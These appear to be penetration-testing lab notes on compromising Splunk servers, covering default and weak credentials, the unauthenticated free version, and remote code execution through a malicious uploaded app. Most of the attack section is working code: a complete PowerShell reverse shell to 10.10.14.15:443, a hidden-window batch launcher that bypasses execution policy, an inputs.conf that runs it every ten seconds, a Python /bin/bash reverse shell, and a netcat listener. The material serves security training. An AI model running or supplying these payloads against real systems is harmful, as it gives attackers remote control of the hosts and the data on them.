Splunk Attacks

• Splunk web server runs by default on port 8000

  • works on https

• On older versions of Splunk, the default credentials are admin:changeme

  • If the default credentials do not work, it is worth checking for common weak passwords such as admin, Welcome, Welcome1, Password123, etc.

Enumeration

• The Splunk Enterprise trial converts to a free version after 60 days, which doesn’t require authentication - It is not uncommon for system administrators to install a trial of Splunk to test it out, which is subsequently forgotten about. - This will automatically convert to the free version that does not have any form of authentication, introducing a security hole in the environment - Some organizations may opt for the free version due to budget constraints, not fully understanding the implications of having no user/role management.

• Splunk has multiple ways of running code, such as

  • server-side Django applications

  • REST endpoints

  • scripted inputs

  • alerting scripts

• A common method of gaining remote code execution on a Splunk server is through the use of a scripted input

Attacking Splunk

• We can use this Splunk package to assist us.

  • The bin directory in this repo has examples for Python and PowerShell
• The bin directory will contain any scripts that we intend to run (in this case, a PowerShell reverse shell), and the default directory will have our inputs.conf file

• Our reverse shell will be a PowerShell one-liner.

#A simple and small reverse shell. Options and help removed to save space. 
#Uncomment and change the hardcoded IP address and port number in the below line. Remove all help comments as well.
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

• The inputs.conf file tells Splunk which script to run and any other conditions.

  • Here we set the app as enabled and tell Splunk to run the script every 10 seconds.

  • The interval is always in seconds, and the input (script) will only run if this setting is present.

cat inputs.conf 

[script://./bin/rev.py]
disabled = 0  
interval = 10  
sourcetype = shell 

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

• We need the .bat file, which will run when the application is deployed and execute the PowerShell one-liner.

@ECHO OFF
PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
Exit

• Once the files are created, we can create a tarball or .spl file.

tar -cvzf updater.tar.gz splunk_shell/

• The next step is to choose Install app from file and upload the application.

https://10.129.201.50:8000/en-US/manager/search/apps/local

• Before uploading the malicious custom app, let's start a listener using Netcat or socat.

 sudo nc -lnvp 443

• On the Upload app page, click on browse, choose the tarball we created earlier and click Upload.

https://10.129.201.50:8000/en-US/manager/appinstall/_upload?breadcrumbs=Settings%7C%2Fmanager%2Fsearch%2F%09Apps%7C%2Fmanager%2Fsearch%2Fapps%2Flocal

• As soon as we upload the application, a reverse shell is received as the status of the application will automatically be switched to Enabled.

• If we were dealing with a Linux host, we would need to edit the rev.py Python script before creating the tarball and uploading the custom malicious app

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')